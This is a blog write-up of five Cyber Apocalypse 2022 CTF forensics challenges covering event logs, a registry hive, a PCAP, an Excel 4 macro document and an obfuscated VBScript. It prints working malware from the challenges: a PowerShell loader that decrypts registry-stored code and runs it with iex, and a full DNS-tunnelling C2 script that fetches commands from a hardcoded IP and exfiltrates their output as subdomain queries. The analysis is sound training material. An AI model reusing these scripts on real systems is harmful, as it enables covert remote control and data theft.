Cyber Apolcalypse 2022 CTF

Kevin K
15 min readMay 19, 2022

Forensics: Puppeteer

Planet Longhir is known for it’s top-tier researchers. Due to their dedication in science and engineering, their military equipment is the most advanced one in the galaxy. In fact, the prototype DES-3000, a self-propelled precision-strike missile that is capable of reaching targets even in Ratnik galaxy, is being used to disable Galactic Federation’s communication satellites. The mystery that Miyuki is trying to solve is, how the satellite’s location was leaked since it is a top-sercret that only Galactic Federation’s council is aware of. Help her analyse the Council’s HQ event logs and solve this mystery.”

We are given a bunch of event log files.

Puppeteer challenge file

Within the Powershell Operational logs, we observe a suspicious Powershell execution that greatly resembles shellcode execution.

Suspicious powershell execution entry

Skimming through the content, the script runs a shellcode as well as creating an apparently unused $stage3 variable.

Let’s try printing the content of that variable in hex format.

And there we have it!

Forensics: Golden Persistence

Emergency! A space station near Urkir was compromised. Although Urkir is considered to be the very embodiment of the neutral state, it is rich of fuel substances, something that Dreager is very much interested in. Thus, there are now fears that the intergalactic war will also affect this neutral planet. If Draeger and his mercenaries manage to maintain unauthorised access in Urkir’s space station and escalate their privileges, they will soon be able to activate the station’s defence mechanisms that are able to prevent any spaceship from entering Urkir’s airspace. For now, the infected machine is isolated until the case is closed. Help Miyuki find their persistence mechanisms so they cannot gain access again.”

We are given a single registry hive NTUSER.DAT file.

Golden Persistence challenge file

Given that the challenge notes ‘persistence mechanisms’, I suspect that they are observable from the given hive.

Firing up RegRipper and parsing the given registry hive highlights a suspicious Run key configured to execute a base64 encoded Powershell command.

After decoding and prettifying the payload, we see that the command is dynamically generating the second stage command from various keys dispersed across the sample registry.

function encr {
param(
[Byte[]]$data,
[Byte[]]$key
)
[Byte[]]$buffer = New-Object Byte[] $data.Length
$data.CopyTo($buffer, 0)
[Byte[]]$s = New-Object Byte[] 256;
[Byte[]]$k = New-Object Byte[] 256;
for ($i = 0; $i -lt 256; $i++)
{
$s[$i] = [Byte]$i;
$k[$i] = $key[$i % $key.Length];
}
$j = 0;
for ($i = 0; $i -lt 256; $i++)
{
$j = ($j + $s[$i] + $k[$i]) % 256;
$temp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $temp;
}
$i = $j = 0;
for ($x = 0; $x -lt $buffer.Length; $x++)
{
$i = ($i + 1) % 256;
$j = ($j + $s[$i]) % 256;
$temp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $temp;
[int]$t = ($s[$i] + $s[$j]) % 256;
$buffer[$x] = $buffer[$x] -bxor $s[$t];
}
return $buffer
}
function HexToBin {
param(
[Parameter(
Position=0,
Mandatory=$true,
ValueFromPipeline=$true)
]
[string]$s)
$return = @()
for ($i = 0; $i -lt $s.Length ; $i += 2)
{
$return += [Byte]::Parse($s.Substring($i, 2), [System.Globalization.NumberStyles]::HexNumber)
}
Write-Output $return
}
$enc = [System.Text.Encoding]::ASCII
[Byte[]]$key = $enc.GetBytes("Q0mmpr4B5rvZi3pS")
$encrypted1 = (Get-ItemProperty -Path HKCU:\\SOFTWARE\\ZYb78P4s).t3RBka5tL
$encrypted2 = (Get-ItemProperty -Path HKCU:\\SOFTWARE\\BjqAtIen).uLltjjW
$encrypted3 = (Get-ItemProperty -Path HKCU:\\SOFTWARE\\AppDataLow\\t03A1Stq).uY4S39Da
$encrypted4 = (Get-ItemProperty -Path HKCU:\\SOFTWARE\\Google\v50zeG).Kb19fyhl
$encrypted5 = (Get-ItemProperty -Path HKCU:\\AppEvents\\Jx66ZG0O).jH54NW8C
$encrypted = "$($encrypted1)$($encrypted2)$($encrypted3)$($encrypted4)$($encrypted5)"
[Byte[]]$data = HexToBin $encrypted$DecryptedBytes = encr $data $key
$DecryptedString = $enc.GetString($DecryptedBytes)
$DecryptedString|iex

Using yarp, we can fetch the target registry keys to obtain the final $encrypted value.

#!/usr/bin/env python3from yarp import *# A primary file is specified here.
primary_path = "/Users/test/Downloads/NTUSER.DAT"
# Discover transaction log files to be used to recover the primary file, if required.
transaction_logs = RegistryHelpers.DiscoverLogFiles(primary_path)
# Open the primary file and each transaction log file discovered.
primary_file = open(primary_path, 'rb')
if transaction_logs.log_path is not None:
log_file = open(transaction_logs.log_path, 'rb')
else:
log_file = None
if transaction_logs.log1_path is not None:
log1_file = open(transaction_logs.log1_path, 'rb')
else:
log1_file = None
if transaction_logs.log2_path is not None:
log2_file = open(transaction_logs.log2_path, 'rb')
else:
log2_file = None
hive = Registry.RegistryHive(primary_file)keys = [
'SOFTWARE\\ZYb78P4s',
'SOFTWARE\\BjqAtIen',
'SOFTWARE\\AppDataLow\\t03A1Stq',
'SOFTWARE\\Google\\nv50zeG',
'AppEvents\\Jx66ZG0O',
]
# Find an existing key.for target_key in keys:
key = hive.find_key(target_key)
print('Found a key: {}'.format(key.path()))
# Print information about its values.
for v in key.values():
print('Value name is \'{}\''.format(v.name()))
print('Value type is {} as a string (or {} as an integer)'.format(v.type_str(), v.type_raw()))
print('Value data is:')
print(v.data())
# Close everything.
hive = None
primary_file.close()
if log_file is not None:
log_file.close()
if log1_file is not None:
log1_file.close()
if log2_file is not None:
log2_file.close()

Once we obtain the respective registry data values, its plaintext can be trivially obtained by leveraging the provided functions.

Forensics: Automation

“Vinyr’s threat intelligence is monitoring closely all APT groups from every possible galaxy, especially the most dangerous one, longhir. As stated by an anonymous threat intelligence officer, the malicious actors tend to automate their initial post-exploitation enumeration so they can have less on-keyboard time. You can find such an example in the provided network capture generated by a recent incident. Analyse it and find out what they are up to.”

We are given a single .pcap file to start with.

Challenge file

Reviewing the PCAP’s protocol hierarchy, we see that we are dealing with a mixture of HTTP, DNS and a minuscule amount of NTP traffic.

Protocol hierarchy of capture.pcap

Skimming through the PCAP, I saw several downloads occurring over HTTP which appears to be related to a legitimate Windows update activity. However, an odd desktop.png file from a cleverly worded windowsliveupdater.com sticks out.

Odd png file

Lo and behold, desktop.png is not an image file, but a base64 encoded text file.

Contents of desktop.png

Once decoded, we see that desktop.png was in fact a Powershell script.

function Create-AesManagedObject($key, $IV) {
$aesManaged = New-Object "System.Security.Cryptography.AesManaged"
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256
if ($IV) {
if ($IV.getType().Name -eq "String") {
$aesManaged.IV = [System.Convert]::FromBase64String($IV)
}
else {
$aesManaged.IV = $IV
}
}
if ($key) {
if ($key.getType().Name -eq "String") {
$aesManaged.Key = [System.Convert]::FromBase64String($key)
}
else {
$aesManaged.Key = $key
}
}
$aesManaged
}
function Create-AesKey() {
$aesManaged = Create-AesManagedObject $key $IV
[System.Convert]::ToBase64String($aesManaged.Key)
}
function Encrypt-String($key, $unencryptedString) {
$bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
[byte[]] $fullData = $aesManaged.IV + $encryptedData
$aesManaged.Dispose()
[System.BitConverter]::ToString($fullData).replace("-","")
}
function Decrypt-String($key, $encryptedStringWithIV) {
$bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
$IV = $bytes[0..15]
$aesManaged = Create-AesManagedObject $key $IV
$decryptor = $aesManaged.CreateDecryptor();
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
$aesManaged.Dispose()
[System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
}
filter parts($query) { $t = $_; 0..[math]::floor($t.length / $query) | % { $t.substring($query * $_, [math]::min($query, $t.length - $query * $_)) }}
$key = "a1E4MUtycWswTmtrMHdqdg=="
$out = Resolve-DnsName -type TXT -DnsOnly windowsliveupdater.com -Server 147.182.172.189|Select-Object -Property Strings;
for ($num = 0 ; $num -le $out.Length-2; $num++){
$encryptedString = $out[$num].Strings[0]
$backToPlainText = Decrypt-String $key $encryptedString
$output = iex $backToPlainText; $pr = Encrypt-String $key $output|parts 32
Resolve-DnsName -type A -DnsOnly start.windowsliveupdater.com -Server 147.182.172.189
for ($ans = 0; $ans -lt $pr.length-1; $ans++){
$domain = -join($pr[$ans],".windowsliveupdater.com")
Resolve-DnsName -type A -DnsOnly $domain -Server 147.182.172.189
}
Resolve-DnsName -type A -DnsOnly end.windowsliveupdater.com -Server 147.182.172.189
}

The script does the following:

  1. Obtains its (encrypted) C2 commands by querying the TXT record of windowsliveupdater.com at a hardcoded address of 147.182.172.189.
  2. Decrypt and run the encrypted C2 commands using a hardcoded key.
  3. Encrypt the output of the C2 commands (with Encrypt-String) and divide them up into parts of 32 characters for transmission.
  4. Start the transmission. Query the A record of start.windowsliveupdater.com to mark its start.
  5. Transmit each part of the command output in step 3 by prepending it as a subdomain of windowsliveupdater.com and querying the A record of that subdomain.
  6. End the transmission. Query the A record of end.windowsliveupdater.com to mark its end.

If this script successfully ran on the victim machine, we should see the following in the PCAP:

  1. A DNS query (and a response) for the TXT record of windowsliveupdater.com at 147.182.172.189
  2. DNS queries for the subdomain of windowsliveupdater.com destined toward 147.182.172.189

Yes, our hypothesis was correct; we indeed see both activities in the given PCAP.

Our analysis then becomes two-folds: decrypt the TXT records and the subdomains.

Decrypting the TXT records

Reviewing the contents of the DNS response, we see the TXT records contain base64 payloads.

Extracting them and running through the same Decrypt-String function reveals their plaintext values:

Decoding the password of DefaultUsr reveals the first part of the string:

Decrypting the subdomains

To decrypt the subdomains, we need to first understand how the command outputs were encrypted and then devise a method to reverse that encryption.

function Encrypt-String($key, $unencryptedString) {
$bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
[byte[]] $fullData = $aesManaged.IV + $encryptedData
$aesManaged.Dispose()
[System.BitConverter]::ToString($fullData).replace("-","")
}

The Encrypt-String function:
1. Converts the plaintext string into a byte array
2. Creates an AES cipher object using the input key
3. Encrypts the entire byte array with the AES cipher object
4. Converts the byte array into its hex string representation

To decrypt the cipher subdomains, we would have to do the reverse:
1. Convert the hex string representation back to its byte array
2. Create an AES cipher object using the same key
3. Decrypt the byte array with the AES cipher object
4. Covert the byte array into string

Here’s my implementation of the above:

function de-Encrypt-String($key, $encryptedString) {
$separated = $encryptedString -split '(..)' -ne '' -join "-"
[byte[]] $bytes = $separated.Split("-") | foreach-object { iex "0x$_" }
$aesManaged = Create-AesManagedObject $key
$decryptor = $aesManaged.CreateDecryptor()
$decryptedData = $decryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
$aesManaged.Dispose()
[System.Text.Encoding]::UTF8.GetString($decryptedData).Trim([char]0)
}

Now that we have the decryption function, we need to prepare the ciphertext.

Using scapy, we can easily extract the relevant subdomains from the PCAP file.

from scapy.all import *pkts = rdpcap('/Users/test/Downloads/capture.pcap')domain = b"windowsliveupdater.com"for p in pkts:
if p.haslayer(DNSQR):
query = p[DNSQR].qname
if domain in query:
print(query)

Now that we have everything ready, let’s decrypt the ciphertext subdomains.

And there we have it, the second half of the flag!

Forensics: Free Services

Intergalactic Federation stated that it managed to prevent a large-scale phishing campaign that targeted all space personnel across the galaxy. The enemy’s goal was to add as many spaceships to their space-botnet as possible so they can conduct distributed destruction of intergalactic services (DDOIS) using their fleet. Since such a campaign can be easily detected and prevented, malicious actors have changed their tactics. As stated by officials, a new spear phishing campaign is underway aiming high value targets. Now Klaus asks your opinion about a mail it received from “sales@unlockyourmind.gal”, claiming that in their galaxy it is possible to recover it’s memory back by following the steps contained in the attached file.”

We are given a single .xlsm file:

An xlsm file is essentially a bunch of xml files zipped together. Let’s examine its contents.

The sheet contents that we are most interested in are under xl/macrosheets/sheet1.xml.

For readability, we can extract all XML data within the <sheetData> element.

Now we see why the challenge describes this file to be malicious — Excel 4 macros!

The macros perform the following (based on this excellent Excel macro function reference):
1. Select cells E1 to G258 → This makes the top left cell E1 as the “active cell”.
2. Create memory space with VirtualAlloc
3. Set C1 to 0 → loop counter for the memory space
4. For (i=0; i < 772; i+=2):
5. XOR the active cell with 24 and set B1 as its character value
6. Write to the memory space at step 2 the XOR-ed character value at step 5
7. Add 1 to the memory space loop counter C1
8. From the current active cell, shift right twice.
9. Execute the above shellcode

The macros above are pretty straightforward. We can easily replicate its logic against the values that we extract from the sheet1.xml file.

values = [ 228, 54, 240, 244, 154, 233, 24, 216, 24, 9, 24, 172, 120, 252, 145, 15, 253, 103, 41, 52, 216, 214, 124, 244, 147, 90, 72, 198, 40, 53, 147, 70, 74, 93, 20, 118, 147, 240, 74, 88, 12, 91, 147, 224, 106, 217, 48, 114, 23, 217, 175, 22, 82, 188, 62, 217, 41, 191, 231, 130, 180, 150, 36, 18, 121, 235, 100, 52, 26, 39, 52, 99, 56, 231, 217, 29, 215, 212, 21, 77, 25, 70, 223, 58, 250, 130, 234, 247, 74, 183, 79, 8, 147, 196, 74, 207, 8, 147, 147, 221, 82, 111, 36, 212, 147, 24, 84, 57, 9, 21, 96, 90, 251, 186, 80, 23, 25, 29, 201, 163, 73, 89, 147, 39, 65, 52, 56, 79, 25, 250, 203, 45, 147, 245, 81, 57, 0, 194, 251, 105, 34, 130, 81, 176, 147, 95, 44, 156, 147, 108, 25, 122, 206, 187, 41, 40, 231, 211, 180, 34, 217, 244, 215, 235, 21, 61, 25, 146, 223, 113, 32, 238, 248, 39, 109, 247, 238, 137, 27, 205, 101, 61, 224, 27, 35, 156, 101, 40, 60, 88, 109, 241, 252, 109, 64, 211, 147, 104, 64, 202, 60, 190, 25, 194, 203, 28, 126, 168, 147, 121, 20, 239, 83, 255, 147, 175, 64, 158, 4, 157, 25, 125, 203, 139, 147, 78, 28, 32, 147, 126, 25, 72, 200, 228, 145, 103, 92, 103, 60, 254, 60, 12, 67, 151, 67, 134, 121, 48, 65, 92, 66, 244, 73, 163, 231, 146, 248, 121, 71, 35, 71, 53, 66, 79, 147, 219, 10, 153, 243, 74, 149, 217, 69, 120, 114, 172, 25, 6, 149, 246, 157, 176, 170, 245, 24, 217, 24, 119, 24, 163, 72, 95, 112, 127, 41, 153, 147, 72, 119, 147, 159, 202, 231, 251, 205, 27, 163, 56, 232, 179, 173, 96, 186, 25, 78, 9, 112, 255, 190, 173, 141, 103, 165, 169, 133, 54, 231, 63, 205, 144, 36, 219, 30, 250, 100, 120, 18, 240, 152, 183, 227, 103, 248, 110, 109, 47, 29, 205, 163, 162, 95, 175, 11, 46, 106, 56, 119, 199, 114, 67, 24, 164, 75, 12, 231, 114, 205, 66, 74, 73, 93, 180, 95, 147, 56, 79, 89, 69, 92, 104, 92, 177, 56, 66, 58, 238, 80, 160, 83, 199, 84, 79, 85, 70, 68, 233, 75, 43, 87, 54, 94, 210, 76, 167, 79, 30, 89, 47, 74, 231, 93, 111, 68, 133, 85, 81, 113, 64, 123, 155, 106, 49, 119, 54, 107, 16, 119, 19, 126, 148, 108, 112, 68, 40, 79, 123, 113, 200, 118, 207, 124, 56, 119, 232, 111, 151, 107, 235, 56, 223, 86, 82, 76, 154, 68, 186, 91, 87, 109, 75, 106, 57, 106, 197, 125, 139, 118, 240, 108, 123, 78, 169, 125, 160, 106, 131, 107, 132, 113, 71, 119, 221, 118, 193, 68, 251, 81, 70, 117, 105, 121, 107, 127, 161, 125, 64, 56, 138, 94, 145, 113, 94, 116, 152, 125, 57, 56, 86, 93, 64, 96, 205, 125, 44, 123, 226, 109, 253, 108, 23, 113, 233, 119, 117, 118, 251, 56, 33, 87, 134, 104, 170, 108, 148, 113, 60, 119, 215, 118, 143, 107, 21, 68, 233, 109, 68, 108, 190, 113, 181, 116, 141, 117, 120, 121, 132, 118, 150, 54, 99, 125, 217, 96, 132, 125, 213, 58, 227, 56, 174, 55, 229, 108, 67, 56, 29, 74, 57, 93, 2, 95, 36, 71, 80, 75, 154, 66, 96, 56, 56, 55, 146, 110, 65, 56, 197, 92, 243, 125, 194, 122, 246, 109, 3, 127, 180, 127, 209, 125, 123, 106, 121, 56, 224, 55, 243, 124, 71, 56, 19, 58, 142, 91, 232, 34, 43, 68, 16, 111, 171, 113, 236, 118, 25, 124, 212, 119, 24, 111, 78, 107, 2, 68, 129, 107, 113, 97, 73, 107, 31, 108, 183, 125, 200, 117, 78, 43, 234, 42, 46, 68, 115, 123, 76, 117, 196, 124, 116, 54, 135, 125, 37, 96, 122, 125, 156, 58, 7, 56, 133, 55, 79, 126, 153, 35, 83, 125, 118, 123, 250, 112, 51, 119, 160, 56, 238, 58, 11, 80, 62, 76, 28, 90, 79, 99, 48, 41, 9, 107, 217, 71, 27, 108, 18, 112, 8, 41, 10, 107, 98, 71, 45, 127, 135, 44, 219, 116, 134, 44, 126, 96, 91, 97, 239, 71, 150, 116, 51, 40, 190, 107, 216, 108, 73, 71, 98, 41, 30, 118, 79, 71, 100, 108, 66, 41, 81, 117, 41, 43, 144, 39, 8, 39, 100, 57, 150, 101, 133, 58, 46, 24, 187 ]for i in values[::2]:
print(chr(i ^ 24),end='')

And there’s our flag!

Forensics: Precious Guidance

Miyuki has come across what seems to be a suspicious process running on one of her spaceship’s navigation systems. After investigating the origin of this process, it seems to have been initiated by a script called “SatelliteGuidance.vbs”. Eventually, one of your engineers informs her that she found this file in the spaceship’s Intergalactic Inbox and thought it was an interactive guide for the ship’s satellite operations. She tried to run the file but nothing happened. You and Miyuki start analysing it and notice you don’t understand its code… it is obfuscated! What could it be and who could be behind its creation? Use your skills to uncover the truth behind the obfuscation layers.”

We are given a single .vbs file.

Precious Guidance challenge file

Opening the VBScript file, we see that it’s heavily obfuscated with unused Arrays and redundant comments (e.g. REM, lines starting with single quotes). The only relevant lines appear to be the Arrays being referenced in the polymerase function and the respective constant declarations.

Our first task is to determine what is being fed into the execute() functions, in other words obtain the outputs of the polymerase function calls.

The function itself is pretty simple.

Given the input array, it loops through each element and converts them into a character value using the offset hardcoded in the function body (e.g. ((6842–6781.0) — (89 + (-(37 + (0.0)))))). Each character value is concatenated and returned as a string.

We can easily transcribe this into Python to begin unearthing the hidden strings behind the arrays.

Let’s bring over all the referenced arrays and the constants over to the Python script and run them through this function.

It appears they reveal the function definitions of those called at the very end of the VBScript.

The second stage payload contains 18 functions. Most of these functions are not super interesting — they perform various VM detection logic to halt the execution if the sample was found to be running in a sandboxed environment. Our main interest however lies in function pooch, which drops the next stage payload on the target machine.

It again uses the polymerase() function to generate its binary content, but we note that the characters are encoded in ISO-8859–1.

We can extract the array and run it through our Python script again but this time with the above encoding.

Our third stage payload is a PE executable.

Let’s open up PEView and skim through its contents.

Under the .text section, there is a sequence of characters that highly resembles the hex representation of unicode strings.

The hunch was right. That was our flag.

--

--